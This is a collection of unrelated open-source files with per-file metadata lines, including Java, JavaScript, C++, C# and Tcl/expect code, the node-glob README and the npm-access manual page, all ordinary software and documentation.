FirefoxProfile profile = createFirefoxProfileWithExtensions();
FirefoxOptions options = new FirefoxOptions();
options.setProfile(profile);
if (browser().isHeadless()) options.setHeadless(true);
WebDriver firefox = new FirefoxDriver(options);
SelenideConfig config = new SelenideConfig().browser("firefox").baseUrl(getBaseUrl());
customFirefox = new SelenideDriver(config, firefox, null, new SharedDownloadsFolder("build/downloads/456"));
customFirefox.open("/page_with_selects_without_jquery.html");
customFirefox.$("#non-clickable-element").shouldBe(visible);
customFirefox.open("/page_with_jquery.html");
customFirefox.$("#rememberMe").shouldBe(visible);
}
private FirefoxProfile createFirefoxProfileWithExtensions() {
FirefoxProfile profile = new FirefoxProfile();
profile.addExtension(new File(currentThread().getContextClassLoader().getResource("firebug-1.11.4.xpi").getPath()));
profile.addExtension(new File(currentThread().getContextClassLoader().getResource("firepath-0.9.7-fx.xpi").getPath()));
profile.setPreference("extensions.firebug.showFirstRunPage", false);
profile.setPreference("extensions.firebug.allPagesActivation", "on");
profile.setPreference("intl.accept_languages", "no,en-us,en");
profile.setPreference("extensions.firebug.console.enableSites", "true");
return profile;
}
}
| {
"pile_set_name": "Github"
} |
# This source code was written by the Go contributors.
# The master list of contributors is in the main Go distribution,
# visible at http://tip.golang.org/CONTRIBUTORS.
| {
"pile_set_name": "Github"
} |
af6e26e4d7a434275d8d9c6cfc5790a52182ea8a
| {
"pile_set_name": "Github"
} |
// Generated by CoffeeScript 1.6.2
(function() {
var __hasProp = {}.hasOwnProperty,
__extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; };
(function(clock) {
"use strict"; return clock.ClockApplication = (function(_super) {
__extends(ClockApplication, _super);
function ClockApplication(element) {
this.element = element;
ClockApplication.__super__.constructor.call(this);
}
ClockApplication.prototype.init = function() {
this.injector.mapClass('timer', clock.TimerModel, true);
this.injector.mapClass('face', clock.FaceView);
this.injector.mapClass('needleSeconds', clock.NeedleSeconds);
this.injector.mapClass('needleMinutes', clock.NeedleMinutes);
this.injector.mapClass('needleHours', clock.NeedleHours);
this.mediators.create(clock.ClockMediator, this.element.querySelector('.clock'));
return this.createTemplate(clock.SelectorView, this.element.querySelector('.clock-selector'));
};
ClockApplication.prototype.start = function() {
return this.dispatcher.dispatch('create', clock.AnalogView);
};
return ClockApplication;
})(soma.Application);
})(window.clock = window.clock || {});
new clock.ClockApplication(document.querySelector('.clock-app'));
}).call(this);
| {
"pile_set_name": "Github"
} |
#! /usr/bin/expect -f
#
# Copyright (c) International Business Machines Corp., 2005
#
# This program is free software; you can redistribute it and#or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
# for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
#
set P11_SO_PWD $env(P11_SO_PWD)
set P11_USER_PWD $env(P11_USER_PWD)
set TPM_CERTFILE $env(TPM_CERTFILE)
set TPM_KEYFILE $env(TPM_KEYFILE)
set TPM_COMBFILE $env(TPM_COMBFILE)
set SSL_PWD $env(SSL_PWD)
set TCID $env(TCID)
set timeout 30
# Import the combined certificate and key
spawn tpmtoken_import -p -n "$TCID" $TPM_COMBFILE
expect -re "Enter PEM pass phrase:"
send "$SSL_PWD\n"
expect timeout
set rc_list [wait -i $spawn_id]
set rc [lindex $rc_list {3}]
exit $rc
| {
"pile_set_name": "Github"
} |
# Glob
Match files using the patterns the shell uses, like stars and stuff.
[](https://travis-ci.org/isaacs/node-glob/) [](https://ci.appveyor.com/project/isaacs/node-glob) [](https://coveralls.io/github/isaacs/node-glob?branch=master)
This is a glob implementation in JavaScript. It uses the `minimatch`
library to do its matching.

## Usage
Install with npm
```
npm i glob
```
```javascript
var glob = require("glob")
// options is optional
glob("**/*.js", options, function (er, files) {
// files is an array of filenames.
// If the `nonull` option is set, and nothing
// was found, then files is ["**/*.js"]
// er is an error object or null.
})
```
## Glob Primer
"Globs" are the patterns you type when you do stuff like `ls *.js` on
the command line, or put `build/*` in a `.gitignore` file.
Before parsing the path part patterns, braced sections are expanded
into a set. Braced sections start with `{` and end with `}`, with any
number of comma-delimited sections within. Braced sections may contain
slash characters, so `a{/b/c,bcd}` would expand into `a/b/c` and `abcd`.
The following characters have special magic meaning when used in a
path portion:
* `*` Matches 0 or more characters in a single path portion
* `?` Matches 1 character
* `[...]` Matches a range of characters, similar to a RegExp range.
If the first character of the range is `!` or `^` then it matches
any character not in the range.
* `!(pattern|pattern|pattern)` Matches anything that does not match
any of the patterns provided.
* `?(pattern|pattern|pattern)` Matches zero or one occurrence of the
patterns provided.
* `+(pattern|pattern|pattern)` Matches one or more occurrences of the
patterns provided.
* `*(a|b|c)` Matches zero or more occurrences of the patterns provided
* `@(pattern|pat*|pat?erN)` Matches exactly one of the patterns
provided
* `**` If a "globstar" is alone in a path portion, then it matches
zero or more directories and subdirectories searching for matches.
It does not crawl symlinked directories.
### Dots
If a file or directory path portion has a `.` as the first character,
then it will not match any glob pattern unless that pattern's
corresponding path part also has a `.` as its first character.
For example, the pattern `a/.*/c` would match the file at `a/.b/c`.
However the pattern `a/*/c` would not, because `*` does not start with
a dot character.
You can make glob treat dots as normal characters by setting
`dot:true` in the options.
### Basename Matching
If you set `matchBase:true` in the options, and the pattern has no
slashes in it, then it will seek for any file anywhere in the tree
with a matching basename. For example, `*.js` would match
`test/simple/basic.js`.
### Empty Sets
If no matching files are found, then an empty array is returned. This
differs from the shell, where the pattern itself is returned. For
example:
$ echo a*s*d*f
a*s*d*f
To get the bash-style behavior, set the `nonull:true` in the options.
### See Also:
* `man sh`
* `man bash` (Search for "Pattern Matching")
* `man 3 fnmatch`
* `man 5 gitignore`
* [minimatch documentation](https://github.com/isaacs/minimatch)
## glob.hasMagic(pattern, [options])
Returns `true` if there are any special characters in the pattern, and
`false` otherwise.
Note that the options affect the results. If `noext:true` is set in
the options object, then `+(a|b)` will not be considered a magic
pattern. If the pattern has a brace expansion, like `a/{b/c,x/y}`
then that is considered magical, unless `nobrace:true` is set in the
options.
## glob(pattern, [options], cb)
* `pattern` `{String}` Pattern to be matched
* `options` `{Object}`
* `cb` `{Function}`
* `err` `{Error | null}`
* `matches` `{Array<String>}` filenames found matching the pattern
Perform an asynchronous glob search.
## glob.sync(pattern, [options])
* `pattern` `{String}` Pattern to be matched
* `options` `{Object}`
* return: `{Array<String>}` filenames found matching the pattern
Perform a synchronous glob search.
## Class: glob.Glob
Create a Glob object by instantiating the `glob.Glob` class.
```javascript
var Glob = require("glob").Glob
var mg = new Glob(pattern, options, cb)
```
It's an EventEmitter, and starts walking the filesystem to find matches
immediately.
### new glob.Glob(pattern, [options], [cb])
* `pattern` `{String}` pattern to search for
* `options` `{Object}`
* `cb` `{Function}` Called when an error occurs, or matches are found
* `err` `{Error | null}`
* `matches` `{Array<String>}` filenames found matching the pattern
Note that if the `sync` flag is set in the options, then matches will
be immediately available on the `g.found` member.
### Properties
* `minimatch` The minimatch object that the glob uses.
* `options` The options object passed in.
* `aborted` Boolean which is set to true when calling `abort()`. There
is no way at this time to continue a glob search after aborting, but
you can re-use the statCache to avoid having to duplicate syscalls.
* `cache` Convenience object. Each field has the following possible
values:
* `false` - Path does not exist
* `true` - Path exists
* `'FILE'` - Path exists, and is not a directory
* `'DIR'` - Path exists, and is a directory
* `[file, entries, ...]` - Path exists, is a directory, and the
array value is the results of `fs.readdir`
* `statCache` Cache of `fs.stat` results, to prevent statting the same
path multiple times.
* `symlinks` A record of which paths are symbolic links, which is
relevant in resolving `**` patterns.
* `realpathCache` An optional object which is passed to `fs.realpath`
to minimize unnecessary syscalls. It is stored on the instantiated
Glob object, and may be re-used.
### Events
* `end` When the matching is finished, this is emitted with all the
matches found. If the `nonull` option is set, and no match was found,
then the `matches` list contains the original pattern. The matches
are sorted, unless the `nosort` flag is set.
* `match` Every time a match is found, this is emitted with the specific
thing that matched. It is not deduplicated or resolved to a realpath.
* `error` Emitted when an unexpected error is encountered, or whenever
any fs error occurs if `options.strict` is set.
* `abort` When `abort()` is called, this event is raised.
### Methods
* `pause` Temporarily stop the search
* `resume` Resume the search
* `abort` Stop the search forever
### Options
All the options that can be passed to Minimatch can also be passed to
Glob to change pattern matching behavior. Also, some have been added,
or have glob-specific ramifications.
All options are false by default, unless otherwise noted.
All options are added to the Glob object, as well.
If you are running many `glob` operations, you can pass a Glob object
as the `options` argument to a subsequent operation to shortcut some
`stat` and `readdir` calls. At the very least, you may pass in shared
`symlinks`, `statCache`, `realpathCache`, and `cache` options, so that
parallel glob operations will be sped up by sharing information about
the filesystem.
* `cwd` The current working directory in which to search. Defaults
to `process.cwd()`.
* `root` The place where patterns starting with `/` will be mounted
onto. Defaults to `path.resolve(options.cwd, "/")` (`/` on Unix
systems, and `C:\` or some such on Windows.)
* `dot` Include `.dot` files in normal matches and `globstar` matches.
Note that an explicit dot in a portion of the pattern will always
match dot files.
* `nomount` By default, a pattern starting with a forward-slash will be
"mounted" onto the root setting, so that a valid filesystem path is
returned. Set this flag to disable that behavior.
* `mark` Add a `/` character to directory matches. Note that this
requires additional stat calls.
* `nosort` Don't sort the results.
* `stat` Set to true to stat *all* results. This reduces performance
somewhat, and is completely unnecessary, unless `readdir` is presumed
to be an untrustworthy indicator of file existence.
* `silent` When an unusual error is encountered when attempting to
read a directory, a warning will be printed to stderr. Set the
`silent` option to true to suppress these warnings.
* `strict` When an unusual error is encountered when attempting to
read a directory, the process will just continue on in search of
other matches. Set the `strict` option to raise an error in these
cases.
* `cache` See `cache` property above. Pass in a previously generated
cache object to save some fs calls.
* `statCache` A cache of results of filesystem information, to prevent
unnecessary stat calls. While it should not normally be necessary
to set this, you may pass the statCache from one glob() call to the
options object of another, if you know that the filesystem will not
change between calls. (See "Race Conditions" below.)
* `symlinks` A cache of known symbolic links. You may pass in a
previously generated `symlinks` object to save `lstat` calls when
resolving `**` matches.
* `sync` DEPRECATED: use `glob.sync(pattern, opts)` instead.
* `nounique` In some cases, brace-expanded patterns can result in the
same file showing up multiple times in the result set. By default,
this implementation prevents duplicates in the result set. Set this
flag to disable that behavior.
* `nonull` Set to never return an empty set, instead returning a set
containing the pattern itself. This is the default in glob(3).
* `debug` Set to enable debug logging in minimatch and glob.
* `nobrace` Do not expand `{a,b}` and `{1..3}` brace sets.
* `noglobstar` Do not match `**` against multiple filenames. (Ie,
treat it as a normal `*` instead.)
* `noext` Do not match `+(a|b)` "extglob" patterns.
* `nocase` Perform a case-insensitive match. Note: on
case-insensitive filesystems, non-magic patterns will match by
default, since `stat` and `readdir` will not raise errors.
* `matchBase` Perform a basename-only match if the pattern does not
contain any slash characters. That is, `*.js` would be treated as
equivalent to `**/*.js`, matching all js files in all directories.
* `nodir` Do not match directories, only files. (Note: to match
*only* directories, simply put a `/` at the end of the pattern.)
* `ignore` Add a pattern or an array of glob patterns to exclude matches.
Note: `ignore` patterns are *always* in `dot:true` mode, regardless
of any other settings.
* `follow` Follow symlinked directories when expanding `**` patterns.
Note that this can result in a lot of duplicate references in the
presence of cyclic links.
* `realpath` Set to true to call `fs.realpath` on all of the results.
In the case of a symlink that cannot be resolved, the full absolute
path to the matched entry is returned (though it will usually be a
broken symlink)
* `absolute` Set to true to always receive absolute paths for matched
files. Unlike `realpath`, this also affects the values returned in
the `match` event.
## Comparisons to other fnmatch/glob implementations
While strict compliance with the existing standards is a worthwhile
goal, some discrepancies exist between node-glob and other
implementations, and are intentional.
The double-star character `**` is supported by default, unless the
`noglobstar` flag is set. This is supported in the manner of bsdglob
and bash 4.3, where `**` only has special significance if it is the only
thing in a path part. That is, `a/**/b` will match `a/x/y/b`, but
`a/**b` will not.
Note that symlinked directories are not crawled as part of a `**`,
though their contents may match against subsequent portions of the
pattern. This prevents infinite loops and duplicates and the like.
If an escaped pattern has no matches, and the `nonull` flag is set,
then glob returns the pattern as-provided, rather than
interpreting the character escapes. For example,
`glob.match([], "\\*a\\?")` will return `"\\*a\\?"` rather than
`"*a?"`. This is akin to setting the `nullglob` option in bash, except
that it does not resolve escaped pattern characters.
If brace expansion is not disabled, then it is performed before any
other interpretation of the glob pattern. Thus, a pattern like
`+(a|{b),c)}`, which would not be valid in bash or zsh, is expanded
**first** into the set of `+(a|b)` and `+(a|c)`, and those patterns are
checked for validity. Since those two are valid, matching proceeds.
### Comments and Negation
Previously, this module let you mark a pattern as a "comment" if it
started with a `#` character, or a "negated" pattern if it started
with a `!` character.
These options were deprecated in version 5, and removed in version 6.
To specify things that should not match, use the `ignore` option.
## Windows
**Please only use forward-slashes in glob expressions.**
Though windows uses either `/` or `\` as its path separator, only `/`
characters are used by this glob implementation. You must use
forward-slashes **only** in glob expressions. Back-slashes will always
be interpreted as escape characters, not path separators.
Results from absolute patterns such as `/foo/*` are mounted onto the
root setting using `path.join`. On windows, this will by default result
in `/foo/*` matching `C:\foo\bar.txt`.
## Race Conditions
Glob searching, by its very nature, is susceptible to race conditions,
since it relies on directory walking and such.
As a result, it is possible that a file that exists when glob looks for
it may have been deleted or modified by the time it returns the result.
As part of its internal implementation, this program caches all stat
and readdir calls that it makes, in order to cut down on system
overhead. However, this also makes it even more susceptible to races,
especially if the cache or statCache objects are reused between glob
calls.
Users are thus advised not to use a glob result as a guarantee of
filesystem state in the face of rapid changes. For the vast majority
of operations, this is never a problem.
## Contributing
Any change to behavior (including bugfixes) must come with a test.
Patches that fail tests or reduce performance will be rejected.
```
# to run tests
npm test
# to re-generate test fixtures
npm run test-regen
# to benchmark against bash/zsh
npm run bench
# to profile javascript
npm run prof
```
| {
"pile_set_name": "Github"
} |
///////////////////////////////////////////////////////////////////////////////////
/// OpenGL Mathematics (glm.g-truc.net)
///
/// Copyright (c) 2005 - 2014 G-Truc Creation (www.g-truc.net)
/// Permission is hereby granted, free of charge, to any person obtaining a copy
/// of this software and associated documentation files (the "Software"), to deal
/// in the Software without restriction, including without limitation the rights
/// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
/// copies of the Software, and to permit persons to whom the Software is
/// furnished to do so, subject to the following conditions:
///
/// The above copyright notice and this permission notice shall be included in
/// all copies or substantial portions of the Software.
///
/// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
/// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
/// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
/// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
/// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
/// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
/// THE SOFTWARE.
///
/// @ref gtc_reciprocal
/// @file glm/gtc/reciprocal.hpp
/// @date 2008-10-09 / 2012-01-25
/// @author Christophe Riccio
///
/// @see core (dependence)
///
/// @defgroup gtc_reciprocal GLM_GTC_reciprocal
/// @ingroup gtc
///
/// @brief Define secant, cosecant and cotangent functions.
///
/// <glm/gtc/reciprocal.hpp> need to be included to use these features.
///////////////////////////////////////////////////////////////////////////////////
#ifndef GLM_GTC_reciprocal
#define GLM_GTC_reciprocal
// Dependencies
#include "../detail/setup.hpp"
#if(defined(GLM_MESSAGES) && !defined(GLM_EXT_INCLUDED))
# pragma message("GLM: GLM_GTC_reciprocal extension included")
#endif
namespace glm
{
/// @addtogroup gtc_reciprocal
/// @{
/// Secant function.
/// hypotenuse / adjacent or 1 / cos(x)
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType sec(genType const & angle);
/// Cosecant function.
/// hypotenuse / opposite or 1 / sin(x)
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType csc(genType const & angle);
/// Cotangent function.
/// adjacent / opposite or 1 / tan(x)
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType cot(genType const & angle);
/// Inverse secant function.
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType asec(genType const & x);
/// Inverse cosecant function.
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType acsc(genType const & x);
/// Inverse cotangent function.
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType acot(genType const & x);
/// Secant hyperbolic function.
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType sech(genType const & angle);
/// Cosecant hyperbolic function.
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType csch(genType const & angle);
/// Cotangent hyperbolic function.
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType coth(genType const & angle);
/// Inverse secant hyperbolic function.
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType asech(genType const & x);
/// Inverse cosecant hyperbolic function.
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType acsch(genType const & x);
/// Inverse cotangent hyperbolic function.
///
/// @see gtc_reciprocal
template <typename genType>
GLM_FUNC_DECL genType acoth(genType const & x);
/// @}
}//namespace glm
#include "reciprocal.inl"
#endif//GLM_GTC_reciprocal
| {
"pile_set_name": "Github"
} |
package org.openmrs.mobile.activities.providerdashboard.providerrelationship;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import org.openmrs.mobile.R;
public class ProviderRelationshipFragment extends Fragment {
public ProviderRelationshipFragment() {
}
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
return inflater.inflate(R.layout.fragment_provider_relationship, null);
}
}
| {
"pile_set_name": "Github"
} |
/**
* Copyright 2020 The Magma Authors.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <gtest/gtest.h>
#include "MagmaService.h"
using ::testing::Test;
namespace magma { namespace service303 {
const std::string MAGMA_SERVICE_NAME = "test_service";
const std::string MAGMA_SERVICE_VERSION = "0.0.0";
const std::string META_KEY = "key";
const std::string META_VALUE = "value";
TEST(test_magma_service, test_GetServiceInfo) {
MagmaService magma_service(MAGMA_SERVICE_NAME, MAGMA_SERVICE_VERSION);
ServiceInfo response;
magma_service.GetServiceInfo(nullptr, nullptr, &response);
EXPECT_EQ(response.name(), MAGMA_SERVICE_NAME);
EXPECT_EQ(response.version(), MAGMA_SERVICE_VERSION);
EXPECT_EQ(response.state(), ServiceInfo::ALIVE);
EXPECT_EQ(response.health(), ServiceInfo::APP_UNKNOWN);
auto start_time_1 = response.start_time_secs();
EXPECT_TRUE(response.status().meta().empty());
response.Clear();
magma_service.setApplicationHealth(ServiceInfo::APP_HEALTHY);
magma_service.GetServiceInfo(nullptr, nullptr, &response);
EXPECT_EQ(response.name(), MAGMA_SERVICE_NAME);
EXPECT_EQ(response.version(), MAGMA_SERVICE_VERSION);
EXPECT_EQ(response.state(), ServiceInfo::ALIVE);
EXPECT_EQ(response.health(), ServiceInfo::APP_HEALTHY);
auto start_time_2 = response.start_time_secs();
EXPECT_TRUE(response.status().meta().empty());
EXPECT_EQ(start_time_1, start_time_2);
}
ServiceInfoMeta test_callback() {
return ServiceInfoMeta {{META_KEY, META_VALUE}};
}
TEST(test_magma_service, test_GetServiceInfo_with_callback) {
MagmaService magma_service(MAGMA_SERVICE_NAME, MAGMA_SERVICE_VERSION);
ServiceInfo response;
magma_service.GetServiceInfo(nullptr, nullptr, &response);
EXPECT_TRUE(response.status().meta().empty());
response.Clear();
magma_service.SetServiceInfoCallback(test_callback);
magma_service.GetServiceInfo(nullptr, nullptr, &response);
auto meta = response.status().meta();
EXPECT_FALSE(meta.empty());
EXPECT_EQ(meta.size(), 1);
EXPECT_EQ(meta[META_KEY], META_VALUE);
response.Clear();
magma_service.ClearServiceInfoCallback();
magma_service.GetServiceInfo(nullptr, nullptr, &response);
EXPECT_TRUE(response.status().meta().empty());
}
bool reload_succeeded() {
return true;
}
bool reload_failed() {
return false;
}
TEST(test_magma_service, test_ReloadServiceConfig) {
MagmaService magma_service(MAGMA_SERIVCE_NAME, MAGMA_SERVICE_VERSION);
ReloadConfigResponse response;
magma_service.ReloadServiceConfig(nullptr, nullptr, &response);
EXPECT_EQ(response.result(), ReloadConfigResponse::RELOAD_UNSUPPORTED);
response.Clear();
magma_service.SetConfigReloadCallback(reload_succeeded);
magma_service.ReloadServiceConfig(nullptr, nullptr, &response);
EXPECT_EQ(response.result(), ReloadConfigResponse::RELOAD_SUCCESS);
response.Clear();
magma_service.SetConfigReloadCallback(reload_failed);
magma_service.ReloadServiceConfig(nullptr, nullptr, &response);
EXPECT_EQ(response.result(), ReloadConfigResponse::RELOAD_FAILURE);
response.Clear();
magma_service.ClearConfigReloadCallback();
magma_service.ReloadServiceConfig(nullptr, nullptr, &response);
EXPECT_EQ(response.result(), ReloadConfigResponse::RELOAD_UNSUPPORTED);
}
int main(int argc, char **argv) {
::testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
}}
| {
"pile_set_name": "Github"
} |
/**
* Copyright Soramitsu Co., Ltd. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0
*/
#ifndef IROHA_POSTGRES_WSV_COMMAND_HPP
#define IROHA_POSTGRES_WSV_COMMAND_HPP
#include "ametsuchi/wsv_command.hpp"
#include "ametsuchi/impl/soci_utils.hpp"
#include "interfaces/common_objects/string_view_types.hpp"
namespace iroha {
namespace ametsuchi {
class PostgresWsvCommand : public WsvCommand {
public:
explicit PostgresWsvCommand(soci::session &sql);
WsvCommandResult insertRole(
const shared_model::interface::types::RoleIdType &role_name) override;
WsvCommandResult insertAccountRole(
const shared_model::interface::types::AccountIdType &account_id,
const shared_model::interface::types::RoleIdType &role_name) override;
WsvCommandResult deleteAccountRole(
const shared_model::interface::types::AccountIdType &account_id,
const shared_model::interface::types::RoleIdType &role_name) override;
WsvCommandResult insertRolePermissions(
const shared_model::interface::types::RoleIdType &role_id,
const shared_model::interface::RolePermissionSet &permissions)
override;
WsvCommandResult insertAccount(
const shared_model::interface::Account &account) override;
WsvCommandResult updateAccount(
const shared_model::interface::Account &account) override;
WsvCommandResult setAccountKV(
const shared_model::interface::types::AccountIdType &account_id,
const shared_model::interface::types::AccountIdType
&creator_account_id,
const std::string &key,
const std::string &val) override;
WsvCommandResult insertAsset(
const shared_model::interface::Asset &asset) override;
WsvCommandResult upsertAccountAsset(
const shared_model::interface::AccountAsset &asset) override;
WsvCommandResult insertSignatory(
shared_model::interface::types::PublicKeyHexStringView signatory)
override;
WsvCommandResult insertAccountSignatory(
const shared_model::interface::types::AccountIdType &account_id,
shared_model::interface::types::PublicKeyHexStringView signatory)
override;
WsvCommandResult deleteAccountSignatory(
const shared_model::interface::types::AccountIdType &account_id,
shared_model::interface::types::PublicKeyHexStringView signatory)
override;
WsvCommandResult deleteSignatory(
shared_model::interface::types::PublicKeyHexStringView signatory)
override;
WsvCommandResult insertPeer(
const shared_model::interface::Peer &peer) override;
WsvCommandResult deletePeer(
const shared_model::interface::Peer &peer) override;
WsvCommandResult insertDomain(
const shared_model::interface::Domain &domain) override;
WsvCommandResult insertAccountGrantablePermission(
const shared_model::interface::types::AccountIdType
&permittee_account_id,
const shared_model::interface::types::AccountIdType &account_id,
shared_model::interface::permissions::Grantable permission) override;
WsvCommandResult deleteAccountGrantablePermission(
const shared_model::interface::types::AccountIdType
&permittee_account_id,
const shared_model::interface::types::AccountIdType &account_id,
shared_model::interface::permissions::Grantable permission) override;
WsvCommandResult setTopBlockInfo(
const TopBlockInfo &top_block_info) const override;
private:
soci::session &sql_;
};
} // namespace ametsuchi
} // namespace iroha
#endif // IROHA_POSTGRES_WSV_COMMAND_HPP
| {
"pile_set_name": "Github"
} |
{
"ver": "2.3.3",
"uuid": "1ba0dabd-fc65-4172-adee-e9167c6eb9ad",
"type": "sprite",
"wrapMode": "clamp",
"filterMode": "bilinear",
"premultiplyAlpha": false,
"genMipmaps": false,
"packable": true,
"platformSettings": {},
"subMetas": {
"sheep_run_2": {
"ver": "1.0.4",
"uuid": "5597fdf5-3cfc-45e5-b989-320c6a359428",
"rawTextureUuid": "1ba0dabd-fc65-4172-adee-e9167c6eb9ad",
"trimType": "auto",
"trimThreshold": 1,
"rotated": false,
"offsetX": 1.5,
"offsetY": 10.5,
"trimX": 27,
"trimY": 12,
"width": 177,
"height": 114,
"rawWidth": 228,
"rawHeight": 159,
"borderTop": 0,
"borderBottom": 0,
"borderLeft": 0,
"borderRight": 0,
"subMetas": {}
}
}
} | {
"pile_set_name": "Github"
} |
// Checks that we don't crash
// RUN: %sourcekitd-test -req=cursor -pos=8:19 %s -- %s | %FileCheck %s
// CHECK: source.lang.swift.ref.class
class ImageSet {
class StandImageSet {}
func foo() {
/*here:*/StandImageSet()
}
}
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace DSInternals.Replication.Model
{
public class ReplicationResult
{
// TODO: AsReadOnly
public ReplicationResult(ReplicaObjectCollection objects, bool hasMore, ReplicationCookie cookie, int totalObjectCount)
{
this.Objects = objects;
this.HasMoreData = hasMore;
this.Cookie = cookie;
this.TotalObjectCount = totalObjectCount;
}
public ReplicaObjectCollection Objects
{
get;
private set;
}
public bool HasMoreData
{
get;
private set;
}
public ReplicationCookie Cookie
{
get;
private set;
}
public int TotalObjectCount
{
get;
private set;
}
}
}
| {
"pile_set_name": "Github"
} |
import { observable, action } from 'mobx';
class RequestStore {
@observable requests;
constructor() {
this.requests = observable.map({});
}
@action setRequestInProcess = (requestType, inProcess) => {
this.requests.set(requestType, inProcess);
}
getRequestByType(type) {
return this.requests.get(type);
}
}
const requestStore = new RequestStore();
export default requestStore;
export { RequestStore };
| {
"pile_set_name": "Github"
} |
npm-access(1) -- Set access level on published packages
=======================================================
## SYNOPSIS
npm access public [<package>]
npm access restricted [<package>]
npm access grant <read-only|read-write> <scope:team> [<package>]
npm access revoke <scope:team> [<package>]
npm access ls-packages [<user>|<scope>|<scope:team>]
npm access ls-collaborators [<package> [<user>]]
npm access edit [<package>]
## DESCRIPTION
Used to set access controls on private packages.
For all of the subcommands, `npm access` will perform actions on the packages
in the current working directory if no package name is passed to the
subcommand.
* public / restricted:
Set a package to be either publicly accessible or restricted.
* grant / revoke:
Add or remove the ability of users and teams to have read-only or read-write
access to a package.
* ls-packages:
Show all of the packages a user or a team is able to access, along with the
access level, except for read-only public packages (it won't print the whole
registry listing)
* ls-collaborators:
Show all of the access privileges for a package. Will only show permissions
for packages to which you have at least read access. If `<user>` is passed in,
the list is filtered only to teams _that_ user happens to belong to.
* edit:
Set the access privileges for a package at once using `$EDITOR`.
## DETAILS
`npm access` always operates directly on the current registry, configurable
from the command line using `--registry=<registry url>`.
Unscoped packages are *always public*.
Scoped packages *default to restricted*, but you can either publish them as
public using `npm publish --access=public`, or set their access as public using
`npm access public` after the initial publish.
You must have privileges to set the access of a package:
* You are an owner of an unscoped or scoped package.
* You are a member of the team that owns a scope.
* You have been given read-write privileges for a package, either as a member
of a team or directly as an owner.
If your account is not paid, then attempts to publish scoped packages will fail
with an HTTP 402 status code (logically enough), unless you use
`--access=public`.
Management of teams and team memberships is done with the `npm team` command.
## SEE ALSO
* npm-team(1)
* npm-publish(1)
* npm-config(7)
* npm-registry(7)
| {
"pile_set_name": "Github"
} |
/*
* ATLauncher - https://github.com/ATLauncher/ATLauncher
* Copyright (C) 2013-2020 ATLauncher
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.atlauncher.data.json;
import java.io.File;
import com.atlauncher.annot.Json;
@Json
public class Delete {
private String base;
private String target;
public String getBase() {
return this.base;
}
public String getTarget() {
return this.target;
}
public boolean isAllowed() {
if (this.base.equalsIgnoreCase("root")) {
if (this.target.startsWith("world") || this.target.startsWith("DIM") || this.target.startsWith("saves")
|| this.target.startsWith("instance.json") || this.target.contains("./")
|| this.target.contains(".\\") || this.target.contains("~/") || this.target.contains("~\\")) {
return false;
}
}
return true;
}
public File getFile(File root) {
return new File(root, this.target.replace("%s%", File.separator));
}
}
| {
"pile_set_name": "Github"
} |
// Copyright 2018 The Abseil Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "absl/base/internal/atomic_hook.h"
#include "gtest/gtest.h"
